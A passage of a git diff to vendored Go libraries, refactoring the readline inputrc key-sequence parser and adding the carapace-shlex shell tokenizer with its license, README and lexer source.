grab(r, i+1, end) } + return i } // findStringEnd finds end of the string, returning end if not found. -func findStringEnd(r []rune, i, end int) (int, bool) { - quote, c := r[i], rune(0) - for i++; i < end; i++ { - switch c = r[i]; { - case c == '\\': - i++ +func findStringEnd(seq []rune, pos, end int) (int, bool) { + var char rune + quote := seq[pos] + + for pos++; pos < end; pos++ { + switch char = seq[pos]; { + case char == '\\': + pos++ continue - case c == quote: - return i + 1, true + case char == quote: + return pos + 1, true } } - return i, false + + return pos, false } // grab returns r[i] when i < end, 0 otherwise. @@ -454,62 +523,70 @@ func grab(r []rune, i, end int) rune { if i < end { return r[i] } + return 0 } // decodeKey decodes named key sequence. -func decodeKey(r []rune, i, end int) (string, int, error) { +func decodeKey(seq []rune, pos, end int) (string, int, error) { // seek end of sequence - start := i - for c := grab(r, i+1, end); i < end && c != ':' && c != '#' && !unicode.IsSpace(c) && !unicode.IsControl(c); i++ { - c = grab(r, i+1, end) + start := pos + for c := grab(seq, pos+1, end); pos < end && c != ':' && c != '#' && !unicode.IsSpace(c) && !unicode.IsControl(c); pos++ { + c = grab(seq, pos+1, end) } - s := strings.ToLower(string(r[start:i])) + + val := strings.ToLower(string(seq[start:pos])) meta, control := false, false - for i := strings.Index(s, "-"); i != -1; i = strings.Index(s, "-") { - switch s[:i] { + + for idx := strings.Index(val, "-"); idx != -1; idx = strings.Index(val, "-") { + switch val[:idx] { case "control", "ctrl", "c": control = true case "meta", "m": meta = true default: - return "", i, ErrUnknownModifier + return "", idx, ErrUnknownModifier } - s = s[i+1:] + + val = val[idx+1:] } - var c rune - switch s { + + var char rune + + switch val { case "": - return "", i, nil + return "", pos, nil case "delete", "del", "rubout": - c = Delete + char = Delete case "escape", "esc": - c = Esc + char = Esc case "newline", "linefeed", "lfd": - c = Newline + char = Newline case "return", "ret": - c = Return + char = Return case "tab": - c = Tab + char = Tab case "space", "spc": - c = Space + char = Space case "formfeed", "ffd": - c = Formfeed + char = Formfeed case "vertical", "vrt": - c = Vertical + char = Vertical default: - c, _ = utf8.DecodeRuneInString(s) + char, _ = utf8.DecodeRuneInString(val) } + switch { case control && meta: - return string([]rune{Esc, Encontrol(c)}), i, nil + return string([]rune{Esc, Encontrol(char)}), pos, nil case control: - c = Encontrol(c) + char = Encontrol(char) case meta: - c = Enmeta(c) + char = Enmeta(char) } - return string(c), i, nil + + return string(char), pos, nil } /* @@ -540,87 +617,94 @@ func decodeRunes(r []rune, i, end int) string { // unescapeRunes decodes escaped string sequence. func unescapeRunes(r []rune, i, end int) string { - var s []rune - var c0, c1, c2, c3, c4, c5 rune + var seq []rune + var char0, char1, char2, char3, char4, char5 rune + for ; i < end; i++ { - if c0 = r[i]; c0 == '\\' { - c1, c2, c3, c4, c5 = grab(r, i+1, end), grab(r, i+2, end), grab(r, i+3, end), grab(r, i+4, end), grab(r, i+5, end) + if char0 = r[i]; char0 == '\\' { + char1, char2, char3, char4, char5 = grab(r, i+1, end), grab(r, i+2, end), grab(r, i+3, end), grab(r, i+4, end), grab(r, i+5, end) + switch { - case c1 == 'a': // \a alert (bell) - s = append(s, Alert) + case char1 == 'a': // \a alert (bell) + seq = append(seq, Alert) i++ - case c1 == 'b': // \b backspace - s = append(s, Backspace) + case char1 == 'b': // \b backspace + seq = append(seq, Backspace) i++ - case c1 == 'd': // \d delete - s = append(s, Delete) + case char1 == 'd': // \d delete + seq = append(seq, Delete) i++ - case c1 == 'e': // \e escape - s = append(s, Esc) + case char1 == 'e': // \e escape + seq = append(seq, Esc) i++ - case c1 == 'f': // \f form feed - s = append(s, Formfeed) + case char1 == 'f': // \f form feed + seq = append(seq, Formfeed) i++ - case c1 == 'n': // \n new line - s = append(s, Newline) + case char1 == 'n': // \n new line + seq = append(seq, Newline) i++ - case c1 == 'r': // \r carriage return - s = append(s, Return) + case char1 == 'r': // \r carriage return + seq = append(seq, Return) i++ - case c1 == 't': // \t tab - s = append(s, Tab) + case char1 == 't': // \t tab + seq = append(seq, Tab) i++ - case c1 == 'v': // \v vertical - s = append(s, Vertical) + case char1 == 'v': // \v vertical + seq = append(seq, Vertical) i++ - case c1 == '\\', c1 == '"', c1 == '\'': // \\ \" \' literal - s = append(s, c1) + case char1 == '\\', char1 == '"', char1 == '\'': // \\ \" \' literal + seq = append(seq, char1) i++ - case c1 == 'x' && hexDigit(c2) && hexDigit(c3): // \xHH hex - s = append(s, hexVal(c2)<<4|hexVal(c3)) + case char1 == 'x' && hexDigit(char2) && hexDigit(char3): // \xHH hex + seq = append(seq, hexVal(char2)<<4|hexVal(char3)) i += 2 - case c1 == 'x' && hexDigit(c2): // \xH hex - s = append(s, hexVal(c2)) + case char1 == 'x' && hexDigit(char2): // \xH hex + seq = append(seq, hexVal(char2)) i++ - case octDigit(c1) && octDigit(c2) && octDigit(c3): // \nnn octal - s = append(s, (c1-'0')<<6|(c2-'0')<<3|(c3-'0')) + case octDigit(char1) && octDigit(char2) && octDigit(char3): // \nnn octal + seq = append(seq, (char1-'0')<<6|(char2-'0')<<3|(char3-'0')) i += 3 - case octDigit(c1) && octDigit(c2): // \nn octal - s = append(s, (c1-'0')<<3|(c2-'0')) + case octDigit(char1) && octDigit(char2): // \nn octal + seq = append(seq, (char1-'0')<<3|(char2-'0')) i += 2 - case octDigit(c1): // \n octal - s = append(s, c1-'0') + case octDigit(char1): // \n octal + seq = append(seq, char1-'0') i++ - case ((c1 == 'C' && c4 == 'M') || (c1 == 'M' && c4 == 'C')) && c2 == '-' && c3 == '\\' && c5 == '-': + case ((char1 == 'C' && char4 == 'M') || (char1 == 'M' && char4 == 'C')) && char2 == '-' && char3 == '\\' && char5 == '-': // \C-\M- or \M-\C- control meta prefix - if c6 := grab(r, i+6, end); c6 != 0 { - s = append(s, Esc, Encontrol(c6)) + if c6 := grab(r, i+metaSeqLength, end); c6 != 0 { + seq = append(seq, Esc, Encontrol(c6)) } + i += 6 - case c1 == 'C' && c2 == '-': // \C- control prefix - if c3 == '?' { - s = append(s, Delete) + case char1 == 'C' && char2 == '-': // \C- control prefix + if char3 == '?' { + seq = append(seq, Delete) } else { - s = append(s, Encontrol(c3)) + seq = append(seq, Encontrol(char3)) } + i += 3 - case c1 == 'M' && c2 == '-': // \M- meta prefix - if c3 == 0 { - s = append(s, Esc) + case char1 == 'M' && char2 == '-': // \M- meta prefix + if char3 == 0 { + seq = append(seq, Esc) i += 2 } else { - s = append(s, Enmeta(c3)) + seq = append(seq, Enmeta(char3)) i += 3 } default: - s = append(s, c1) + seq = append(seq, char1) i++ } + continue } - s = append(s, c0) + + seq = append(seq, char0) } - return string(s) + + return string(seq) } // octDigit returns true when r is 0-7. @@ -634,14 +718,15 @@ func hexDigit(c rune) bool { } // hexVal converts a rune to its hex value. -func hexVal(c rune) rune { +func hexVal(char rune) rune { switch { - case 'a' <= c && c <= 'f': - return c - 'a' + 10 - case 'A' <= c && c <= 'F': - return c - 'A' + 10 + case 'a' <= char && char <= 'f': + return char - 'a' + hexValNum + case 'A' <= char && char <= 'F': + return char - 'A' + hexValNum } - return c - '0' + + return char - '0' } // expandIncludePath handles tilde home directory expansion in $include path directives. diff --git a/vendor/github.com/reeflective/readline/inputrc/testdata/spaces.inputrc b/vendor/github.com/reeflective/readline/inputrc/testdata/spaces.inputrc new file mode 100644 index 0000000000..cae93ca759 --- /dev/null +++ b/vendor/github.com/reeflective/readline/inputrc/testdata/spaces.inputrc @@ -0,0 +1,12 @@ +app: usql +term: xterm-256 +mode: vi +####----#### +set editing-mode vi +set vi-ins-mode-string "\1\e[4 q\2" +set my-other-string 'a b' +####----#### +vars: + editing-mode: vi + my-other-string: 'a b' + vi-ins-mode-string: "\1\e[4 q\2" diff --git a/vendor/github.com/reeflective/readline/internal/completion/group.go b/vendor/github.com/reeflective/readline/internal/completion/group.go index 2298baf79f..cd1eecc4bf 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/group.go +++ b/vendor/github.com/reeflective/readline/internal/completion/group.go @@ -327,7 +327,6 @@ func (g *group) longestValueDescribed(vals []Candidate) int { if val.descLen > longestDesc { longestDesc = val.descLen - } if val.descLen > longestDesc { @@ -344,7 +343,7 @@ func (g *group) longestValueDescribed(vals []Candidate) int { } // Always add one: there is at least one space between each column. - return longestVal + longestDesc + 1 + return longestVal + longestDesc + 2 } func (g *group) trimDisplay(comp Candidate, pad, col int) (candidate, padded string) { diff --git a/vendor/github.com/reeflective/readline/internal/keymap/cursor.go b/vendor/github.com/reeflective/readline/internal/keymap/cursor.go index 2f7d476f30..c52ce8896e 100644 --- a/vendor/github.com/reeflective/readline/internal/keymap/cursor.go +++ b/vendor/github.com/reeflective/readline/internal/keymap/cursor.go @@ -15,6 +15,7 @@ func (c CursorStyle) String() string { if !found { return string(cursorUserDefault) } + return cursor } @@ -49,10 +50,6 @@ var defaultCursors = map[Mode]CursorStyle{ // PrintCursor prints the cursor for the given keymap mode, // either default value or the one specified in inputrc file. -// TODO: I've been quite vicious here, I need to admit: the logic -// is not made to use the default user cursor in insert-mode. -// It didn't bother. And if that can help some getting to use -// .inputrc, so be it. func (m *Engine) PrintCursor(keymap Mode) { var cursor CursorStyle @@ -65,8 +62,8 @@ func (m *Engine) PrintCursor(keymap Mode) { return } - if cursor, valid := defaultCursors[keymap]; valid { - fmt.Print(cursors[cursor]) + if defaultCur, valid := defaultCursors[keymap]; valid { + fmt.Print(cursors[defaultCur]) return } diff --git a/vendor/github.com/reeflective/readline/internal/ui/prompt.go b/vendor/github.com/reeflective/readline/internal/ui/prompt.go index 44ef0ac0ff..43774efe59 100644 --- a/vendor/github.com/reeflective/readline/internal/ui/prompt.go +++ b/vendor/github.com/reeflective/readline/internal/ui/prompt.go @@ -249,8 +249,10 @@ func (p *Prompt) formatLastPrompt(prompt string) string { begin := regexp.MustCompile(`\\1`) end := regexp.MustCompile(`\\2`) + // Remove delimiters, and replace quoted escape sequences status = begin.ReplaceAllString(status, "") status = end.ReplaceAllString(status, "") + status = strings.ReplaceAll(status, "\\e", "\x1b") return status + prompt } diff --git a/vendor/github.com/rsteube/carapace-shlex/.gitignore b/vendor/github.com/rsteube/carapace-shlex/.gitignore new file mode 100644 index 0000000000..73675b8536 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/.gitignore @@ -0,0 +1,2 @@ +cmd/carapace-shlex/carapace-shlex +profile.cov diff --git a/vendor/github.com/rsteube/carapace-shlex/LICENSE.txt b/vendor/github.com/rsteube/carapace-shlex/LICENSE.txt new file mode 100644 index 0000000000..d645695673 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/github.com/rsteube/carapace-shlex/README.md b/vendor/github.com/rsteube/carapace-shlex/README.md new file mode 100644 index 0000000000..bd6047846a --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/README.md @@ -0,0 +1,12 @@ +# carapace-shlex + +[![PkgGoDev](https://pkg.go.dev/badge/github.com/rsteube/carapace-shlex)](https://pkg.go.dev/github.com/rsteube/carapace-shlex) +[![GoReportCard](https://goreportcard.com/badge/github.com/rsteube/carapace-shlex)](https://goreportcard.com/report/github.com/rsteube/carapace-shlex) +[![Coverage Status](https://coveralls.io/repos/github/rsteube/carapace-shlex/badge.svg?branch=master)](https://coveralls.io/github/rsteube/carapace-shlex?branch=master) + +Fork of [go-shlex](https://github.com/google/shlex) aimed to enable completion of complex commands passed as single argument with [Split] in [carapace]. + +[![asciicast](https://asciinema.org/a/599580.svg)](https://asciinema.org/a/599580) + +[Split]:https://rsteube.github.io/carapace/carapace/action/split.html +[carapace]:https://github.com/rsteube/carapace diff --git a/vendor/github.com/rsteube/carapace-shlex/go.work b/vendor/github.com/rsteube/carapace-shlex/go.work new file mode 100644 index 0000000000..4fcb83e584 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/go.work @@ -0,0 +1,6 @@ +go 1.19 + +use ( + . + ./cmd +) diff --git a/vendor/github.com/rsteube/carapace-shlex/shlex.go b/vendor/github.com/rsteube/carapace-shlex/shlex.go new file mode 100644 index 0000000000..caedbfc994 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/shlex.go @@ -0,0 +1,419 @@ +package shlex + +import ( + "bufio" + "encoding/json" + "fmt" + "io" + "os" + "strings" +) + +// TokenType is a top-level token classification: A word, space, comment, unknown. +type TokenType int + +func (t TokenType) MarshalJSON() ([]byte, error) { + return json.Marshal(tokenTypes[t]) +} + +// runeTokenClass is the type of a UTF-8 character classification: A quote, space, escape. +type runeTokenClass int + +// the internal state used by the lexer state machine +type LexerState int + +func (l LexerState) MarshalJSON() ([]byte, error) { + return json.Marshal(lexerStates[l]) +} + +// Token is a (type, value) pair representing a lexographical token. +type Token struct { + Type TokenType + Value string + RawValue string + Index int + State LexerState + WordbreakType WordbreakType `json:",omitempty"` + WordbreakIndex int // index of last opening quote in Value (only correct when in quoting state) +} + +func (t *Token) add(r rune) { + t.Value += string(r) +} + +func (t *Token) removeLastRaw() { + runes := []rune(t.RawValue) + t.RawValue = string(runes[:len(runes)-1]) +} + +func (t Token) adjoins(other Token) bool { + return t.Index+len(t.RawValue) == other.Index || t.Index == other.Index+len(other.RawValue) +} + +// Equal reports whether tokens a, and b, are equal. +// Two tokens are equal if both their types and values are equal. A nil token can +// never be equal to another token. +func (t *Token) Equal(other *Token) bool { + switch { + case t == nil, + other == nil, + t.Type != other.Type, + t.Value != other.Value, + t.RawValue != other.RawValue, + t.Index != other.Index, + t.State != other.State, + t.WordbreakType != other.WordbreakType, + t.WordbreakIndex != other.WordbreakIndex: + return false + default: + return true + } +} + +// Named classes of UTF-8 runes +const ( + spaceRunes = " \t\r\n" + escapingQuoteRunes = `"` + nonEscapingQuoteRunes = "'" + escapeRunes = `\` + commentRunes = "#" +) + +// Classes of rune token +const ( + unknownRuneClass runeTokenClass = iota + spaceRuneClass + escapingQuoteRuneClass + nonEscapingQuoteRuneClass + escapeRuneClass + commentRuneClass + wordbreakRuneClass + eofRuneClass +) + +// Classes of lexographic token +const ( + UNKNOWN_TOKEN TokenType = iota + WORD_TOKEN + SPACE_TOKEN + COMMENT_TOKEN + WORDBREAK_TOKEN +) + +var tokenTypes = map[TokenType]string{ + UNKNOWN_TOKEN: "UNKNOWN_TOKEN", + WORD_TOKEN: "WORD_TOKEN", + SPACE_TOKEN: "SPACE_TOKEN", + COMMENT_TOKEN: "COMMENT_TOKEN", + WORDBREAK_TOKEN: "WORDBREAK_TOKEN", +} + +// Lexer state machine states +const ( + START_STATE LexerState = iota // no runes have been seen + IN_WORD_STATE // processing regular runes in a word + ESCAPING_STATE // we have just consumed an escape rune; the next rune is literal + ESCAPING_QUOTED_STATE // we have just consumed an escape rune within a quoted string + QUOTING_ESCAPING_STATE // we are within a quoted string that supports escaping ("...") + QUOTING_STATE // we are within a string that does not support escaping ('...') + COMMENT_STATE // we are within a comment (everything following an unquoted or unescaped # + WORDBREAK_STATE // we have just consumed a wordbreak rune +) + +var lexerStates = map[LexerState]string{ + START_STATE: "START_STATE", + IN_WORD_STATE: "IN_WORD_STATE", + ESCAPING_STATE: "ESCAPING_STATE", + ESCAPING_QUOTED_STATE: "ESCAPING_QUOTED_STATE", + QUOTING_ESCAPING_STATE: "QUOTING_ESCAPING_STATE", + QUOTING_STATE: "QUOTING_STATE", + COMMENT_STATE: "COMMENT_STATE", + WORDBREAK_STATE: "WORDBREAK_STATE", +} + +// tokenClassifier is used for classifying rune characters. +type tokenClassifier map[rune]runeTokenClass + +func (typeMap tokenClassifier) addRuneClass(runes string, tokenType runeTokenClass) { + for _, runeChar := range runes { + typeMap[runeChar] = tokenType + } +} + +// newDefaultClassifier creates a new classifier for ASCII characters. +func newDefaultClassifier() tokenClassifier { + t := tokenClassifier{} + t.addRuneClass(spaceRunes, spaceRuneClass) + t.addRuneClass(escapingQuoteRunes, escapingQuoteRuneClass) + t.addRuneClass(nonEscapingQuoteRunes, nonEscapingQuoteRuneClass) + t.addRuneClass(escapeRunes, escapeRuneClass) + t.addRuneClass(commentRunes, commentRuneClass) + + wordbreakRunes := BASH_WORDBREAKS + if wordbreaks := os.Getenv("COMP_WORDBREAKS"); wordbreaks != "" { + wordbreakRunes = wordbreaks + } + filtered := make([]rune, 0) + for _, r := range wordbreakRunes { + if t.ClassifyRune(r) == unknownRuneClass { + filtered = append(filtered, r) + } + } + t.addRuneClass(string(filtered), wordbreakRuneClass) + + return t +} + +// ClassifyRune classifiees a rune +func (t tokenClassifier) ClassifyRune(runeVal rune) runeTokenClass { + return t[runeVal] +} + +// lexer turns an input stream into a sequence of tokens. Whitespace and comments are skipped. +type lexer tokenizer + +// newLexer creates a new lexer from an input stream. +func newLexer(r io.Reader) *lexer { + return (*lexer)(newTokenizer(r)) +} + +// Next returns the next token, or an error. If there are no more tokens, +// the error will be io.EOF. +func (l *lexer) Next() (*Token, error) { + for { + token, err := (*tokenizer)(l).Next() + if err != nil { + return token, err + } + switch token.Type { + case WORD_TOKEN, WORDBREAK_TOKEN: + return token, nil + case COMMENT_TOKEN: + // skip comments + default: + return nil, fmt.Errorf("unknown token type: %v", token.Type) + } + } +} + +// tokenizer turns an input stream into a sequence of typed tokens +type tokenizer struct { + input bufio.Reader + classifier tokenClassifier + index int + state LexerState +} + +func (t *tokenizer) ReadRune() (r rune, size int, err error) { + if r, size, err = t.input.ReadRune(); err == nil { + t.index += 1 + } + return +} + +func (t *tokenizer) UnreadRune() (err error) { + if err = t.input.UnreadRune(); err == nil { + t.index -= 1 + } + return +} + +// newTokenizer creates a new tokenizer from an input stream. +func newTokenizer(r io.Reader) *tokenizer { + input := bufio.NewReader(r) + classifier := newDefaultClassifier() + return &tokenizer{ + input: *input, + classifier: classifier} +} + +// scanStream scans the stream for the next token using the internal state machine. +// It will panic if it encounters a rune which it does not know how to handle. +func (t *tokenizer) scanStream() (*Token, error) { + previousState := t.state + t.state = START_STATE + token := &Token{} + var nextRune rune + var nextRuneType runeTokenClass + var err error + consumed := 0 + + for { + nextRune, _, err = t.ReadRune() + nextRuneType = t.classifier.ClassifyRune(nextRune) + token.RawValue += string(nextRune) + consumed += 1 // TODO find a nicer solution for this + + switch { + case err == io.EOF: + nextRuneType = eofRuneClass + err = nil + case err != nil: + return nil, err + } + + switch t.state { + case START_STATE: // no runes read yet + { + if nextRuneType != spaceRuneClass { + token.Index = t.index - 1 + } + switch nextRuneType { + case eofRuneClass: + switch { + case t.index == 0: // tonkenizer contains an empty string + token.removeLastRaw() + token.Type = WORD_TOKEN + token.Index = t.index + t.index += 1 + return token, nil // return an additional empty token for current cursor position + case previousState == WORDBREAK_STATE, consumed > 1: // consumed is greater than 1 when when there were spaceRunes before + token.removeLastRaw() + token.Type = WORD_TOKEN + token.Index = t.index + return token, nil // return an additional empty token for current cursor position + default: + return nil, io.EOF + } + case spaceRuneClass: + token.removeLastRaw() + case escapingQuoteRuneClass: + token.Type = WORD_TOKEN + t.state = QUOTING_ESCAPING_STATE + token.WordbreakIndex = len(token.Value) + case nonEscapingQuoteRuneClass: + token.Type = WORD_TOKEN + t.state = QUOTING_STATE + token.WordbreakIndex = len(token.Value) + case escapeRuneClass: + token.Type = WORD_TOKEN + t.state = ESCAPING_STATE + case commentRuneClass: + token.Type = COMMENT_TOKEN + t.state = COMMENT_STATE + case wordbreakRuneClass: + token.Type = WORDBREAK_TOKEN + token.add(nextRune) + t.state = WORDBREAK_STATE + default: + token.Type = WORD_TOKEN + token.add(nextRune) + t.state = IN_WORD_STATE + } + } + case WORDBREAK_STATE: + switch nextRuneType { + case wordbreakRuneClass: + token.add(nextRune) + default: + token.removeLastRaw() + t.UnreadRune() + return token, err + } + case IN_WORD_STATE: // in a regular word + switch nextRuneType { + case wordbreakRuneClass: + token.removeLastRaw() + t.UnreadRune() + return token, err + case eofRuneClass, spaceRuneClass: + token.removeLastRaw() + t.UnreadRune() + return token, err + case escapingQuoteRuneClass: + t.state = QUOTING_ESCAPING_STATE + token.WordbreakIndex = len(token.Value) + case nonEscapingQuoteRuneClass: + t.state = QUOTING_STATE + token.WordbreakIndex = len(token.Value) + case escapeRuneClass: + t.state = ESCAPING_STATE + default: + token.add(nextRune) + } + case ESCAPING_STATE: // the rune after an escape character + switch nextRuneType { + case eofRuneClass: // EOF found after escape character + token.removeLastRaw() + return token, err + default: + t.state = IN_WORD_STATE + token.add(nextRune) + } + case ESCAPING_QUOTED_STATE: // the next rune after an escape character, in double quotes + switch nextRuneType { + case eofRuneClass: // EOF found after escape character + token.removeLastRaw() + return token, err + default: + t.state = QUOTING_ESCAPING_STATE + token.add(nextRune) + } + case QUOTING_ESCAPING_STATE: // in escaping double quotes + switch nextRuneType { + case eofRuneClass: // EOF found when expecting closing quote + token.removeLastRaw() + return token, err + case escapingQuoteRuneClass: + t.state = IN_WORD_STATE + case escapeRuneClass: + t.state = ESCAPING_QUOTED_STATE + default: + token.add(nextRune) + } + case QUOTING_STATE: // in non-escaping single quotes + switch nextRuneType { + case eofRuneClass: // EOF found when expecting closing quote + token.removeLastRaw() + return token, err + case nonEscapingQuoteRuneClass: + t.state = IN_WORD_STATE + default: + token.add(nextRune) + } + case COMMENT_STATE: // in a comment + switch nextRuneType { + case eofRuneClass: + return token, err + case spaceRuneClass: + if nextRune == '\n' { + token.removeLastRaw() + t.state = START_STATE + return token, err + } else { + token.add(nextRune) + } + default: + token.add(nextRune) + } + default: + return nil, fmt.Errorf("unexpected state: %v", t.state) + } + } +} + +// Next returns the next token in the stream. +func (t *tokenizer) Next() (*Token, error) { + token, err := t.scanStream() + if err == nil { + token.State = t.state // TODO should be done in scanStream + token.WordbreakType = wordbreakType(*token) + } + return token, err +} + +// Split partitions of a string into tokens. +func Split(s string) (TokenSlice, error) { + l := newLexer(strings.NewReader(s)) + tokens := make(TokenSlice, 0) + for { + token, err := l.Next() + if err != nil { + if err == io.EOF { + return tokens, nil + } + return nil, err + } + tokens = append(tokens, *token) + } +} diff --git a/vendor/github.com/rsteube/carapace-shlex/tokenslice.go b/vendor/github.com/rsteube/carapace-shlex/tokenslice.go new file mode 100644 index 0000000000..7377676669 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/tokenslice.go @@ -0,0 +1,123 @@ +package shlex + +import ( + "strconv" +) + +type TokenSlice []Token + +func (t TokenSlice) Strings() []string { + s := make([]string, 0, len(t)) + for _, token := range t { + s = append(s, token.Value) + } + return s +} + +func (t TokenSlice) Pipelines() []TokenSlice { + pipelines := make([]TokenSlice, 0) + + pipeline := make(TokenSlice, 0) + for _, token := range t { + switch { + case token.Type == WORDBREAK_TOKEN && wordbreakType(token).IsPipelineDelimiter(): + pipelines = append(pipelines, pipeline) + pipeline = make(TokenSlice, 0) + default: + pipeline = append(pipeline, token) + } + } + return append(pipelines, pipeline) +} + +func (t TokenSlice) CurrentPipeline() TokenSlice { + pipelines := t.Pipelines() + return pipelines[len(pipelines)-1] +} + +func (t TokenSlice) Words() TokenSlice { + words := make(TokenSlice, 0) + for index, token := range t { + switch { + case index == 0: + words = append(words, token) + case 